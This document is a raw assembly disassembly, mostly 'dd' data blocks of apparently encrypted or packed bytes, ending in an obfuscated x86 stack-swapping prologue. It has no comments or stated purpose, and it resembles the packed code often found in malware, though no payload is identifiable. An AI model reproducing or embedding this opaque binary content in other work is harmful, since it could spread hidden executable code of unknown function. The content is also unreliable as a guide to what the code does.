		dd 88640D28h, 0AFC629B9h, 4730F1D5h, 0E8DFE48Fh, 0FF96B8E2h
		dd 2B4EFFFFh, 0D8B18B45h, 0EE4DD1B2h, 1FC9C314h, 5734DEF3h
		dd 461Ch, 65FD2900h, 0B56C4D9Ah, 0D147696Fh, 0C614EE4Dh
		dd 0BAA10EA3h, 0FE156829h, 82873F24h, 0C663858Bh, 8C442BC4h
		dd 4874975h, 76AD11B7h,	1F25DDC4h, 0C6A2E8FDh, 3569F9Ah
		dd 6960651Fh, 0CACE3965h, 259AC4h, 0D1300000h, 0C614EE4Dh
		dd 0BAA10EA3h, 320C7329h, 0CBAD87C6h, 2BE90B11h, 36758C44h
		dd 0BAA09E13h, 7F85D829h, 0C6A2E85Dh, 474C06ECh, 0EC94C50h
		dd 5190CE77h, 0B46C514Bh, 9E4E719Dh, 31330780h,	6569C03Eh
		dd 1A20529Fh, 0FB2B86CDh, 967829B9h, 2F34ECD5h,	8A888D38h
		dd 73E6EBA3h, 0F49EE13Eh, 0DFD0B1DDh, 26AA146Ah, 3EABFB81h
		dd 989E4956h, 977CCE23h, 4F8EC5DFh, 0BA79852Ch,	238EB129h
		dd 5B29BA7Ah, 0D8DE3108h, 0BA89AF95h, 3B7F6129h, 15FFFFF3h
		dd 70859AC6h, 691936B7h, 5E826963h, 0BA46763Bh,	2AD0029h
		dd 0D054BCE8h, 708732ECh, 5A5DB14Dh, 6A4DA72Eh,	0BB6ADB2h
		dd 54EEBF06h, 0EE4F21DAh, 0AA0F3B91h, 0E4D53D4h, 0DA4CC6EBh
		dd 465DB021h, 0DA4C8E23h, 8F95E821h, 70Bh, 1FB5500h, 91000000h
		dd 0D9F04FD1h, 5ABE48B6h, 767BCE2Eh, 0BFD99178h, 0DA81F3A4h
		dd 0DD957821h, 0CFB28CC3h, 34171117h, 3B01777Ch, 0FEE4BEDDh
		dd 74C93E44h, 6D873F22h, 57FBB59Bh, 0E2F9B399h,	0D8FB1F08h
		dd 21DA81D9h, 0A2A752A5h, 81951C3Fh, 8EE121DAh,	0E9F1DDE3h
		dd 0D3B90360h, 1F9E6419h, 54B4DEE3h, 1040Ch, 9AC65600h
		dd 0C2C4A39Ah, 32ECCE11h, 858B362Dh, 704AE931h,	0A10BA3C6h
		dd 0B87829BAh, 0C1B8CE8Eh, 431DC8D5h, 48B0C4C6h, 8B452BDAh
		dd 4C9AC6B1h, 63645EEAh, 0BABF7760h, 0C51218C3h, 90A18862h
		dd 595559Bh, 0E5EB9634h, 0EE4DD1C3h, 5ECC614h, 4B51484Dh
		dd 0F31FEFE9h, 415734DEh, 0A0D2DF02h, 59AC26BAh, 46CF53h
		dd 0D1190000h, 98D7EE4Dh, 0BAA13C75h, 0AE964229h, 0E1C3D87Ch
		dd 0F3151BC6h, 4D6487C6h, 2929BAA1h, 4E71D0D6h,	29BAA163h
		dd 72B1C81Bh, 0BAA1624Fh, 17C91C29h, 7C737830h,	0C4C65476h
		dd 0B28C442Bh, 3FFBA2E8h, 91000000h, 14EE4DD1h,	4D6487C6h
		dd 2929BAA1h, 0A16A476Ah, 0C11429BAh, 72B11016h, 7D63D346h
		dd 0B894CBBAh, 1FCCC6B6h, 0DB1E24CFh, 29BA3BD6h, 0EAA48660h
		dd 0D4E8EEE5h, 0C4C6936Dh, 0B28C442Bh, 9AC6A2E8h, 47C09FAEh
		dd 0F6BBDE2Eh, 8029BA5Dh, 527C822Dh, 0FFFFFEF3h, 8B452BE8h
		dd 0E8A28886h, 0BA7EA2CEh, 5B721DD5h, 0A0B8F91Ch, 6BBE29BAh
		dd 1BE30665h, 1D2E5AA7h, 2F7EC5CAh, 0E21DA9Bh, 0CCFA50ADh
		dd 0E753D4E0h, 34h, 844FD131h, 0BAA15061h, 0AD674B29h
		dd 0C1D883D6h, 5AA0549Eh, 5257AA2Eh, 0DA9FA20Bh, 0E53A9B21h
		dd 708022Eh, 0E2BAA732h, 2CA8D6DCh, 0D4C353D4h,	0D000000h
		dd 868B452Bh, 0E7ECA688h, 324903E9h, 783019F3h,	30817C73h
		dd 4629BAA1h, 0A2A0EDF3h, 11EB02BCh, 756C712Bh,	1F25DFC3h
		dd 0A4D7A2BDh, 15EF29BAh, 0E3C57731h, 43292329h, 0B79D6F89h
		dd 70A0F8FDh, 0AD799CB3h, 0AB2E5A7Eh, 0E123E58h, 5E401A31h
		dd 0A2A89FA4h, 0B2D80443h, 0EBFEBC85h, 48971A3Dh, 8CDF21DAh
		dd 5E98DBE1h, 982677C5h, 0BCFBB6D9h, 308329B7h,	0B1946E85h
		dd 0F7FDF4F9h, 22DCBE98h, 9A543608h, 11D586C1h,	2E17E6h
		dd 265h, 0D7F1AB93h, 4C661E05h,	0C3DD957Ah, 365008F1h
		dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh
		dd 9D886882h, 0D43C377Ah, 33CD3F21h, 788F492Bh,	0FE03BB9Eh
		dd 0B46C5507h, 947A4CAEh, 0D1C6C0DAh, 0B6D9F04Fh, 2E5AA03Ch
		dd 0CA8468C2h, 0DAD31A1Fh, 0C121DA9Fh, 0D02025DFh, 206BC6DDh
		dd 0CCB567D5h, 0EC190F14h, 0F13C4C97h, 7A9BD0C5h, 0AFB58F72h
		dd 5B87E53Ah, 7453D439h, 0D1h, 6487C6BEh, 29BAA14Dh, 0D6D0D629h
		dd 0F31F36F0h, 0ADD09EDBh, 29B9CE04h, 3A23277Ah, 290BBDE2h
		dd 1E1C696Fh, 9624293Ch, 0B4115116h, 0BCBD0409h, 9229B9C4h
		dd 161BD3B8h, 0CD876D1Fh, 0D1CBD1C8h, 451731EBh, 0BA9E5Fh
		dd 12123E55h, 2422C83h,	0F5A05A3Eh, 0C64AA2EFh,	0F72F5269h
		dd 712E59B3h, 0F3CD041Eh, 0FC50560Eh, 0DD001714h, 26772A7Ah
		dd 0C3EE11D0h, 0BB29B84Ch, 0CCA6BD68h, 441630EAh, 9ACFA862h
		dd 2FE61145h, 1571846h,	0B9A10000h, 2C13E5FFh, 0A3885A74h
		dd 16FFD1EBh, 9072445Eh, 7E67BCD6h, 132DE7C9h, 89A35D41h
		dd 21CD4B7h, 76904A30h,	2988AB96h, 5521D43Bh, 492B49E3h
		dd 643E758Fh, 0CDC4C981h, 26E7CDC7h, 0C0DA853Dh, 8B452BC6h
		dd 7CA28886h, 0BAA15859h, 0C7CB1E29h, 64CE1E2h,	0CFE69140h
		dd 0F1446D90h, 0E73A29B9h, 1C487FE1h, 70D24CBCh, 0C07A5CA7h
		dd 1319C4BBh, 0BBD251BFh, 59A90A98h, 0EA01542Eh, 6B712910h
		dd 924C320Ch, 6C0A678h,	0C867A901h, 0F3928EB1h,	75C8267Bh
		dd 15A36D9Ch, 0EF1D06E6h, 0B5h,	87A15B43h, 0FC16CEB5h
		dd 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h,	0FFE3B5CFh
		dd 76592B45h, 0ECD2A4BEh, 4D381832h, 0D439872Ah, 0E37DEF21h
		dd 0D9F04FD1h, 5CEB86B6h, 0A4A9FC2Eh, 0CB856741h, 2BE5CBC5h
		dd 98593F11h, 484DF8B2h, 6E260BE5h, 296C7269h, 4D2F7322h
		dd 6A4F2948h, 0DA37ACB2h, 0D9F0AA90h, 5A5F19FFh, 29FB5D63h
		dd 0FD703043h, 539740CEh, 0BCA5A3A8h, 5B6018FDh, 0B5DCD5F8h
		dd 4FA2AE70h, 0F6F4F9A4h, 56545911h, 61B1B670h,	0A6E463Ch
		dd 0DC9D7DBDh, 65923C87h, 1ED8BE08h, 924C3204h,	0F9B8A17Bh
		dd 0A8AE5913h, 32D5Bh, 24C30000h, 89432B66h, 0E6A08684h
		dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
		dd 25DDC2C0h, 833B2220h, 0EC836D7Eh, 24148904h,	0C281E289h
		dd 4, 8704EA83h, 535C2414h, 0C381E389h,	4, 8704EB83h, 895C241Ch
		dd 0AC68242Ch, 8900007Dh, 0D168240Ch, 8B07E64Ch, 0C483242Ch
		dd 0C8B5404h, 4C48124h,	53000000h, 8BBh, 89CB0100h, 241C8B2Bh
		dd 8B04C483h, 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 2434FF5Ch, 4C4835Dh,	0FA1872E9h, 0B8DB8DFFh,	7E667F2h
		dd 0C650C503h, 0E0075985h, 25684707h, 0FFCF3817h, 0E02F01B5h
		dd 0F8858D07h, 0FF07E039h, 8DD88BD0h, 0E0021585h, 4685007h
		dd 0FF000001h, 5985C6D3h, 5307E007h, 7F8BF68h, 1B5FF83h
		dd 8D07E02Fh, 0E039F885h, 89D0FF07h, 0E64A9385h, 0F5BD8307h
		dd 7E02Fh, 0B840Fh, 9D8B0000h, 7E01949h, 5E9h, 0BB00h
		dd 680000h, 8D000001h, 0E64A97B5h, 0FF535607h, 0E0235995h
		dd 97B58D07h, 307E64Ah,	1E9F0h,	804E0000h, 840F5C3Eh, 9
		dd 0F2F3E80h, 0FFFFED85h, 6C6FFh, 4A97858Dh, 0FF5007E6h
		dd 0E64A9395h, 0E0FF5807h, 456507F1h, 73E3B0DCh, 57189DD0h
		dd 0D7A973Eh, 487191A2h, 6396DD02h, 6C3A43BCh, 3A93A944h
		dd 53455DD8h, 437B4A8Bh, 1BE65DA7h, 50C94987h, 37A8C1AFh
		dd 2DA0688Eh, 70B7E3C0h, 501C3BAh, 152D8DAAh, 4D43C433h
		dd 396E996Bh, 3C461E84h, 4A823570h, 4142FA73h, 6A6E8D8Dh
		dd 6A07E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 87A39AC3h, 23A99D8Bh, 8D8907E0h, 7E01815h
		dd 9960BBEh, 4985C707h,	1807E020h, 6A000064h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C7E4C356h, 0E022C585h, 7, 0A1BD8B00h, 0FF07E00Fh, 0E023C5B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 85B529B5h, 0B807E00Fh, 0D9E1A05h, 209195FFh
		dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0E7872FC3h, 1978B68h, 0E0243DBDh,	0DE807h
		dd 0BABC0000h, 3F8488EEh, 0FD39173Eh, 0E80D6223h, 5, 0C6B1BA9h
		dd 0C58D8903h, 5F07E005h, 0F9BD2958h, 6A07E020h, 0A995FF00h
		dd 8B07E018h, 451CEBC0h, 0ACADB1D9h, 0F0ACCC43h, 9072C27Dh
		dd 2E00FC6Dh, 0CDD0A128h, 5DBC7121h, 8DBBC88Ah,	0E66B668Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 158D89DBh, 6A07E018h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5148C355h
		dd 85C7C68Bh, 7E02049h,	72E0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 41C35646h, 293DBD8Bh, 952907E0h
		dd 7E0170Dh, 22C585C7h,	7E0h, 89600000h, 0E01D09BDh, 81952907h
		dd 6107E000h, 2A5DB5FFh, 0FE907E0h, 41000000h, 3CE4AA55h
		dd 0B3EC8497h, 382373DBh, 95FF13E2h, 7E02091h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CC35545h, 6AC18B07h
		dd 0A995FF00h, 8B07E018h, 1B2AEBC0h, 0E1A0E7CFh, 0D740C3C1h
		dd 0C1C1EF91h, 1C8274A3h, 4230BE01h, 71BFDF99h,	0F25C7D72h
		dd 163E5C69h, 0DBEF8B80h, 0B3B3E47Fh, 11E8D0h, 7DAF0000h
		dd 0E43A18F7h, 3185748Ch, 0CB0E8670h, 8BB6CB2Ah, 0E00461BDh
		dd 0B5015A07h, 7E02E69h, 6BD0C281h, 8B660000h, 1ACCBEC7h
		dd 8BFC0000h, 93F3811Ah, 0F3FA264h, 48Fh, 0BEB86600h, 0CDC381B7h
		dd 293323DFh, 0E010799Dh, 0B2F38107h, 95A9E32h,	0E00DF1B5h
		dd 0D5B05307h, 8D8B028Fh, 7E01B6Dh, 2904EA83h, 0E0119D8Dh
		dd 1EE8107h, 0F000000h,	1C85h, 0F9958900h, 0E907E00Fh
		dd 22h,	85AC6FBDh, 26FF339h, 2D1BBB47h,	60904F8Ch, 0FF95E9C9h
		dd 5F0CFFFFh, 378BC87Ah, 0A74EC530h, 13E8D3D0h,	0EE000000h
		dd 95842E24h, 0FA63C6E7h, 308B73C3h, 2D774FC9h,	816694F0h
		dd 59E417EEh, 29298D89h, 0C18107E0h, 5EAEh, 0BFh, 7CEE8100h
		dd 0FF457ADAh, 890F0F34h, 3, 5A2AE380h,	14E9h, 968BD900h
		dd 51FC2CD9h, 25624BFDh, 0B029467Ah, 4525CFC9h,	0C7EA817Fh
		dd 0BE3B351Fh, 16178D7Eh, 1C32EA81h, 0EA813024h, 1F3A53DCh
		dd 9CF0BB66h, 48FF852h,	81B58B39h, 0E907E01Bh, 5, 0AB2746B0h
		dd 2EF8341h, 2B60F860h,	0E025998Dh, 6161F507h, 8B0F4F4Fh
		dd 0
		dd 0A1F8FF81h, 850FFFFFh, 0FFFFFF87h, 13E8F5h, 1FC80000h
		dd 0EDF0BCAEh, 92B5920Dh, 9725910Dh, 6A2ED2F7h,	0A6F28177h
		dd 5F76EF39h, 81C8F180h, 5E4BC7h, 559D8900h, 0BE07E001h
		dd 1769h, 8BC5E180h, 0FE9501Fh,	6A000000h, 392BA5FBh, 0D0E6F129h
		dd 0E2DB1458h, 8159F4E4h, 7119F6EBh, 0FE829h, 59980000h
		dd 7D27B8DCh, 923BCFBFh, 135FD03h, 6830F95h, 81000000h
		dd 7A6DFCE2h, 0C381592Fh, 6EA2E75h, 81D18B66h, 35CDB5F3h
		dd 896AB92Ah, 81532471h, 21C354E2h, 81078F10h, 0E2DBBCC0h
		dd 4EF834Fh, 2A959D89h,	0EE8307E0h, 8C850F01h, 89FFFFFFh
		dd 0E0312585h, 40E907h,	4C790000h, 8C930C19h, 0E89DE61Dh
		dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h
		dd 8 dup(0)
		dd 0BEE90000h, 68000006h, 7E66F3Dh, 0FA12EAE9h,	6FE568FFh
		dd 0E0E907E6h, 68FFFA12h, 7E670A4h, 0FA12D6E9h,	718568FFh
		dd 0CCE907E6h, 68FFFA12h, 7E67222h, 0FA12C2E9h,	730A68FFh
		dd 0B8E907E6h, 4EFFFA12h, 0C092AC66h, 350721D9h, 0AC7E9850h
		dd 1FF10BC3h, 1469833Dh, 0DA9476ABh, 500AEEC0h,	0C9816436h
		dd 3DF7DDAFh, 35584323h, 21D4327Ch, 8DB99002h, 1D33623Bh
		dd 62848AADh, 38FBh, 48285400h,	7AD48610h, 2B3F6167h, 9B4F3245h
		dd 0C2E67101h, 2E141217h, 6E3F5A74h, 0C829BA06h, 0FC9AF89h
		dd 0BA059D14h, 3B769929h, 4329BA06h, 0C0C619F0h, 112BE3C6h
		dd 0F04FD117h, 196E9AD9h, 44021389h, 46F1A98Eh,	0DCD1FD40h
		dd 0CD272E59h, 6F8631EBh, 0F3F8B095h, 0AF674AFCh, 98155CA9h
		dd 0A521DA1Ch, 5591EF44h, 7E53D46Eh, 237h, 0F5BDB3C8h
		dd 0D2F50C2Bh, 2E5AA594h, 8E687FD2h, 0EBE8EEA8h, 6E280EE8h
		dd 0FE992568h, 26EAE5B3h, 0FFCFF209h, 796A8BE8h, 0D37E361Fh
		dd 8DAA76CEh, 775D3776h, 0BBC1B8BDh, 2B565D78h,	0F71AD96Ah
		dd 65ECA9BAh, 0AFC671C4h, 1E35EFD5h, 0A9F5BCDFh, 2E8165ECh
		dd 0A9BDF417h, 66B965ECh, 462CFE60h, 0C9A4B38Ch, 543DA9DCh
		dd 4A926h, 0C6806800h, 3BF3DAACh, 0B26A4F21h, 25DDC698h
		dd 9D57390Bh, 90852E83h, 8DAF4AEh, 7E506A24h, 0F7C9E39Bh
		dd 5D3D5711h, 32624F72h, 0AA1C21D4h, 1F452B10h,	0BAA0B5FCh
		dd 0C36EC129h, 7DBA66BEh, 89934366h, 0A2F52E5Ah, 90775188h
		dd 0D6DCD3D8h, 7AA6EC64h, 6A15CDB6h, 7D363053h,	56B0267Ah
		dd 0BEB5BA74h, 0B1775E13h, 72B126E9h, 4E7A91AEh, 0E349B13Fh
		dd 7FDEE489h, 0BD10725Ch, 9AB10495h, 1A20DAC0h,	8CAB75CDh
		dd 8D835275h, 0B0038EDCh, 1FD9BF99h, 8C4D3305h,	0F5ECF1A9h
		dd 168714Ah, 1C057EADh,	401EEh,	6E281000h, 0E39B8254h
		dd 5A12F7C9h, 0CD856E40h, 45FFE1B3h, 38EDD62Bh,	0B0829C56h
		dd 26F812CCh, 9F718B43h, 5E5FFB9h, 31BAF71Ah, 52C421D4h
		dd 8B452BB8h, 45E22E86h, 90770B2Eh, 0A7012E5Ah,	0A0106BEh
		dd 0F719455Fh, 1DFE2138h, 35267C9Ch, 43DED3F6h,	459829B4h
		dd 2274203Fh, 0EC9D1C9Fh, 704A610Ch, 7041648Ah,	629B414h
		dd 17F108B3h, 0E4C67830h, 8BC2242Ah, 1388294Ch,	9BEE29B4h
		dd 0FBB59B95h, 0E1E0B8E4h, 5B59684Eh, 0D1902144h, 93E629B3h
		dd 38E8408Dh, 765154A2h, 2B103A84h, 61DC873h, 0B2319BC7h
		dd 0BA90C95Dh, 9A7D71B4h, 0A8FB2E53h, 0F5995CCFh, 56846DEDh
		dd 342h, 132DE7CFh, 88A25A41h, 0FF19D1B6h, 728C442Dh, 0EA04BEA0h
		dd 15F72C95h, 8B6F415Bh, 2E5B7D1h, 785E304Ah, 0D9C4A4BEh
		dd 0D430FBB6h, 77118321h, 9F84452Bh, 40EBE2E7h,	0A53DE33Bh
		dd 0CFD798AFh, 4657779h, 0A0D72761h, 0C46CF1F5h, 8D731A5Eh
		dd 0B2A8CBE2h, 0C2E59A0h, 6712CCB2h, 17C4B4Dh, 0B3E10000h
		dd 1916FAA6h, 3901D602h, 69F71E2Bh, 85E10463h, 32E5A2Ch
		dd 5914FBB0h, 68D4A5D7h, 25647BB8h, 0EAF02DF9h,	0DE18EAC7h
		dd 3D419436h, 0ADB37DE0h, 7E86306Ah, 9CB3063Bh,	0FC29C270h
		dd 434931DEh, 0B5729EF6h, 35CD729Eh, 5205CDFFh,	0FAFFB7A0h
		dd 7B9EFD03h, 391D625Ah, 337289DCh, 0DB9DA110h,	848ADD36h
		dd 0AB654B25h, 1BD3BA94h, 0FBE1B315h, 0D5FB6841h, 2710D8EDh
		dd 261F9h, 0EC8B000h, 833B22F4h, 0FAB29769h, 6D250EE0h
		dd 0E59F8153h, 0D84D76CBh, 50223CF6h, 0C698B26Ch, 3F112BE3h
		dd 0A5859F59h, 301A97BAh, 0F26421D4h, 8B452B58h, 45E22E86h
		dd 88CB0B2Eh, 812D2E5Ah, 2F3D960Dh, 0ABC570ECh,	0C29CEB61h
		dd 271E23DBh, 0E443CD21h, 11BCAACDh, 0E73A267Ah, 5A14F6D0h
		dd 64705754h, 9AA75AB6h, 1A20DAC0h, 0C6DD5AC6h,	790CF7A3h
		dd 0F9FE519Fh, 0A9C07FA1h, 588C4F86h, 3D54A7A5h, 0A9C37D63h
		dd 0BADEF1D7h, 6AD1D409h, 0DD441DC8h, 0F674F1C1h, 1C4DF0Dh
		dd 654D0000h, 0D8BF91ABh, 4F340620h, 0C2AB7D97h, 3C1EF00Ah
		dd 0AA136882h, 0BFD99375h, 354F09EDh, 0AEC88063h, 223CF6DCh
		dd 7D345742h, 0F921D42Eh, 0ECC6ED87h, 4F494F07h, 6C98AF69h
		dd 2AD9C9E7h, 7BFA6EBh,	5A600B02h, 0EDD0AA0Dh, 33393035h
		dd 0DBF231DFh, 5A02CAB8h, 0EA01542Eh, 6D732B10h, 4FD1110Bh
		dd 4FB6D9F0h, 0C72E5CCCh, 9C835D74h, 0E2E8DFE4h, 74184483h
		dd 5E2E92D9h, 0DDB3EA60h, 0AB1128D9h, 9FC5ABA5h, 0D3D9357Ch
		dd 43EE4121h, 0B7715729h, 79B65AB2h, 0D9F72362h, 108EF56Ch
		dd 4BC80B11h, 3326766Ch, 0B08AC9E0h, 100E13CBh,	7970752Dh
		dd 7B331CCEh, 0DB957B75h, 4F09EFC1h, 4B5A0C38h,	54705564h
		dd 67A9014Eh, 4672B1C8h, 6D9653ACh, 0A7EAF092h,	2E59A1CBh
		dd 0A809E235h, 0C5EDEF99h, 0DCAEDCh, 4D350000h,	0C0A77993h
		dd 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh
		dd 1D37F1D5h, 96B0684Bh, 0A24DEC4h, 951C3F2Ah, 0E121D42Dh
		dd 0ECC6D56Fh, 0F4BDE006h, 8A29BAA0h, 90878C37h, 4DEA368Ah
		dd 0CBFC1336h, 207A2E5Ch, 0E09A7E3Dh, 3439E4DBh, 0EFA98B3Dh
		dd 5B413F44h, 0CFB587A1h, 0A3C91015h, 0FE1A5F2Ah, 5C5A5F17h
		dd 2B0FC179h, 886E6C71h, 0ABD2C9CEh, 0AFD61976h, 0EDD3257Ah
		dd 61471933h, 0BBA4A2A7h, 4C5CE2AAh, 0C46F3068h, 664B6EADh
		dd 101DA0E1h, 746AB7BDh, 0BAA0EA47h, 0E1407194h, 0E3361DA0h
		dd 664C1E38h, 0E0941D40h, 97EA1DA0h, 0F01DDE93h, 37E242BFh
		dd 1C0432h, 0C69A0000h,	8C254887h, 0F229BAA0h, 0A10DA49Fh
		dd 0BD6929BAh, 4DB4AF9Ah, 0ABB15C12h, 432BECAAh, 0A0868489h
		dd 0E3E1E6h, 61454348h,	0C2A4A2A7h, 23050308h, 7D666469h
		dd 0DDC2C0C5h, 3B222025h, 836D7E83h, 8F5404ECh,	4832404h
		dd 0D0680424h, 8900002Dh, 8957241Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 34895C24h, 45BD5524h, 0F7314D75h,	0C4ED81DDh
		dd 0F76FC413h, 3AED81DDh, 816E693Ah, 0F57D3FCDh, 35F5811Ch
		dd 0BB29E822h, 10F333E9h, 545DEB31h, 8324348Bh,	815304C4h
		dd 76282404h, 468F63BAh, 0ECB95108h, 8152EB6Ch,	511AC4F1h
		dd 84E2931h, 24348B59h,	5E08950h, 4, 405h, 24048700h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFA0C3Bh, 0EE194587h, 740BB8ADh
		dd 0C50307E6h, 28B4E0FFh, 0C51066DBh, 452C3C5Fh, 58650174h
		dd 256D2912h, 0DFBF7C25h, 0E9FF7312h, 5F894D32h, 0E0D41836h
		dd 0BA8F1B18h, 0E7614717h, 3884529Eh, 430673F9h, 0EF6402B1h
		dd 3BDE699Ch, 0FBE833F9h, 4ABB3553h, 109A73ABh,	874033A5h
		dd 0FD043500h, 408503E9h, 0A90103ACh, 0D9451323h, 3BD33C0Eh
		dd 9C4E504Fh, 66050B10h, 2A020960h, 0AF52C3Bh, 12EA213Ah
		dd 0CC7B3747h, 0DE8133Bh, 0AC000000h, 148EBBECh, 0DF54A361h
		dd 1441EB00h, 0EE9h, 0D82BDE00h, 6A223FD8h, 1CEC7F13h
		dd 5B44034Bh, 7870Fh, 800F0000h, 1, 0D4C381F5h,	0B8000066h
		dd 4F453F00h, 198968h, 0BA665E00h, 33FF5A54h, 66591FB6h
		dd 8154A5B8h, 3E0CEDF1h, 0C2816604h, 0E981FF9Fh, 383D6585h
		dd 50F181F5h, 513E8AF8h, 38FC18Bh, 0EB83C78Ah, 0D78B6604h
		dd 1D850F4Eh, 66000000h, 1A03F081h, 32E9h, 0AD3AF300h
		dd 527C9827h, 54F3D087h, 3DE28AEFh, 6B811153h, 0A687C281h
		dd 0A3E927D6h, 0BCFFFFFFh, 0A67417D3h, 0F2806756h, 66AF2F85h
		dd 7235040h, 0E9DF596Dh
		dd 1Ah,	6DF3724Eh, 5 dup(0)
		dd 0D5E90000h, 68000004h, 7E6771Dh, 0FA0ACEE9h,	779468FFh
		dd 0C4E907E6h, 68FFFA0Ah, 7E678E3h, 0FA0ABAE9h,	0AA644CFFh
		dd 1FD7BE90h, 964E3305h, 9C1AA7Ch, 813B1DEFh, 74A91267h
		dd 0ECBED892h, 62344E08h, 0DBADC77Fh, 41213BF5h, 2A7E3356h
		dd 86F821D4h, 2DECD5AFh, 0DCE18C44h, 9641F9DEh,	0ECC66E90h
		dd 34A9F70Ah, 82877A5h,	4A61585Dh, 0BA388A27h, 9BA1F429h
		dd 7699BFA1h, 29BA393Bh, 4045F043h, 88A25C42h, 6077B45Ch
		dd 5A3C193Dh, 171C6F2Eh, 0DA33DDD0h, 0A2FF6021h, 0D4871E4Ch
		dd 3053953h, 0C6830000h, 0B3F4899Ah, 1C22C865h,	2DCABAAh
		dd 75B6119h, 29031A19h,	0E59F8342h, 393EE9E0h, 0BADD3C42h
		dd 2E5A06ACh, 81C0D72Ah, 0DA09535Eh, 0D2D82B21h, 2E58EED5h
		dd 7799CCFFh, 307EA1B8h, 633D490h, 8B91492Ch, 722C126Ch
		dd 0A66AC2C7h, 764F7289h, 0F030F4C7h, 0B8A30E31h, 81DB2F34h
		dd 8C37E29Ah, 0FBB59B75h, 68290FE1h, 0CEC5CA84h, 0C2DF4A23h
		dd 7F0E094h, 2FBD9h, 0A6604800h, 1BD3BA8Ch, 924A2F01h
		dd 5BDA678h, 7D3719EBh,	70A50E63h, 0E8BAD48Eh, 5E304A04h
		dd 0D7A9C37Bh, 3D1D37F1h, 29822F52h, 8AFC21D4h,	0F04FD1F0h
		dd 385B9AD9h, 29BAA079h, 69ACB205h, 2E5CD46Ch, 866077CAh
		dd 99D0EAA4h, 0C7CDFF6Dh, 171D4A8Ah, 7C813B1Dh,	4B5C3F19h
		dd 6C7B18F3h, 0EAF09B1Bh, 5F5125A7h, 20DAC0CEh,	28CCE247h
		dd 0E00EF7DEh, 284h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh
		dd 0DAF4AE90h, 5E75C85h, 7B5F314Bh, 0F2D5A7C1h,	684E203Ah
		dd 0C9B494AEh, 0D42A0BA6h, 67017321h, 3E94FD1h,	64879E49h
		dd 2E5CD471h, 367D82D5h, 21D42B77h, 590865C6h, 0F2D7967Fh
		dd 83898F3Ah, 53D29347h, 0B4D8BB95h, 0D4242091h, 58035621h
		dd 0D2565C53h, 1ABh, 8B452B1Ch,	0E8A28886h, 355897CEh
		dd 29BAA07Ch, 55A9AF02h, 32556CCBh, 2E5AA6CCh, 8FF2F74Ah
		dd 6618D0B5h, 7CBFC57Dh, 21DA9B31h, 0F856AB0Ch,	53D4E0CAh
		dd 716FDE0Ah, 0C8CC846Bh, 0C9812DC7h, 2AD7F171h, 0FB7F8530h
		dd 2Ah,	0F04FD145h, 0A03CB6D9h,	6FC22E5Ah, 9F8A236Ah, 52B321DAh
		dd 0E40746FDh, 21DA9FCDh, 4A5056A9h, 53D4EB1Ch,	0BF37h
		dd 452B8100h, 0A688868Bh, 424701E5h, 0A0F5BCDFh, 2E8129BAh
		dd 0D5D3D883h, 323035EFh, 3C7B924Ch, 8A4C7C10h,	0E9E48A61h
		dd 29B9CAC8h, 0F3555BAEh, 92190BCh, 20F49F5Fh, 7914D71Ah
		dd 896F29BAh, 8789B5CFh, 0A76D103Ch, 79E80E9Bh,	0BA40337Eh
		dd 46F84B29h, 0E3FAA55Dh, 57B73CC0h, 0E8FF522Eh, 58722C0Eh
		dd 11EAA486h, 0EDF1B2B2h, 35B4E2CBh, 0E000001h,	80526C26h
		dd 0F5C7E199h, 6C3E5810h, 0DFB1CB83h, 0D42943FDh, 9A5436EBh
		dd 10CAAE80h, 894124F6h, 0FDB79D6Fh, 0F51803E3h, 21D428BCh
		dd 2BB650C2h, 42643649h, 8C904A30h, 4BF64C93h, 0BF795F31h
		dd 0C2F6EA5h, 29BA6DA5h, 56787ED1h, 868B452Bh, 0D1E8A288h
		dd 8B9C63A5h, 0CDD31544h, 0D2F5346Bh, 29B9B5DFh, 9C543D97h
		dd 8997EBF1h, 799CC0A3h, 29B9B638h, 9540EB3Eh, 47A5B7Eh
		dd 7DBC2E5Ah, 0D9FC575Ah, 0C6CC1F21h, 633D54A7h, 92ADC781h
		dd 21D9FC1Bh, 0C6E09A80h, 0C9EC12F4h, 21D9FBE8h, 0BB7D8361h
		dd 663D087Ah, 636813h, 46FEE7C1h, 624F4A41h, 1C21D9A9h
		dd 7722DCC2h, 724771h, 0D1DD0000h, 8556974Fh, 0B4376D70h
		dd 2CFF209h, 7C2E5C8Dh,	7D823C22h, 0D8D6DB86h, 4C1E38F2h
		dd 60A7AC66h, 3BC975ECh, 3680DD12h, 0AA7C9650h,	7050AC4h
		dd 5B370D1Eh, 3A7C7E3Fh, 49F49F57h, 5D374E44h, 240ABC74h
		dd 686E656Ah, 664C9EF3h, 0DAC092ACh, 0DEB81B20h, 42393EF8h
		dd 12123Ch, 24A80000h, 0AE664F29h, 789BB2A9h, 29BAA139h
		dd 0CAECF245h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h
		dd 308C2A4h, 64692305h,	0C0C57D66h, 2025DDC2h, 7E833B22h
		dd 0E289526Dh, 4C281h, 0EA830000h, 24148704h, 2414895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
